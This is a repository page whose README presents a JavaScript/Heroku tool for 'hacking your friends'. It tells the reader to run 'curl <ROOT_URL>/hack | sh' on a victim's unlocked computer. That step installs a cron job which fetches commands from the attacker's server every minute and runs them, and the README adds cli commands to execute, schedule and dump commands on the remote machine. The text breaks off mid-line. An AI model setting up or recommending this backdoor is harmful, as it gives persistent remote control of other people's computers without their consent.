# hack **Repository Path**: mo_sen/hack ## Basic Information - **Project Name**: hack - **Description**: hack your friends! - **Primary Language**: JavaScript - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2020-02-21 - **Last Updated**: 2020-12-19 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # Hack This project helps your hack your friends. All you need to do is wait for them to leave their computer unlocked, open up Terminal, and run a single curl command. [Check out this blog post for more details about how this works](TODO) or jump right in below. ## Getting Started Clone, install, and link so you can use the `hack` cli tool. ```sh git clone https://github.com/ccorcos/hack.git git remote remove origin cd hack npm install npm link ``` If you've never used Heroku before, [signup here](https://signup.heroku.com/) (it's free!) and set up their cli tool on your machine. ```sh brew install heroku-toolbelt heroku login ``` Create a Heroku app with an easy name to remember. ```sh heroku create hacker-chet ``` The following command will get the root url for your Heroku website and put it in your `package.json`. This way the server can inject a root url into the shell scripts. ```sh npm run init ``` You can stand up the server locally if you want do you can hack yourself and test things out. ```sh npm start ``` Or you can deploy to Heroku. ```sh npm run deploy ``` Now you're ready to hack! ## Infecting To hack someone, run this in their Terminal: ```sh curl /hack | sh ``` `ROOT_URL` is the specific path to your application. When you're testing locally, this will be `localhost:5000` and when you deploy to Heroku, it will be something like `.herokuapp.com`. What this does is sets up a cron job to ping the `/env/live` endpoint every minute and pipes the result to `sh`. And Heroku gives you HTTPS for free so I wouldn't be too worried about hacking yourself with it. Everything else happens at the commandline using the `hack` cli tool. ## API - `hack deploy` - deploy your latest changes to Heroku. - `hack logs` - view your server logs The following commands are specific to environments and must be followed with a deploy for the changes to be applied to your server. - `hack exec ` - execute a command on the remote machine. e.g. `hack live exec "say hello"` - `hack cron ` - add a cronjob to the remote machine [[ref](http://www.nncron.ru/help/EN/working/cron-format.htm)]. e.g. `hack live cron "0 8 * * * say 'good morning'"` - `hack dump ` - execute a command on the remote machine and log the result. - `hack preset ` - check the source to see what presets there are and what they do. - `hack interval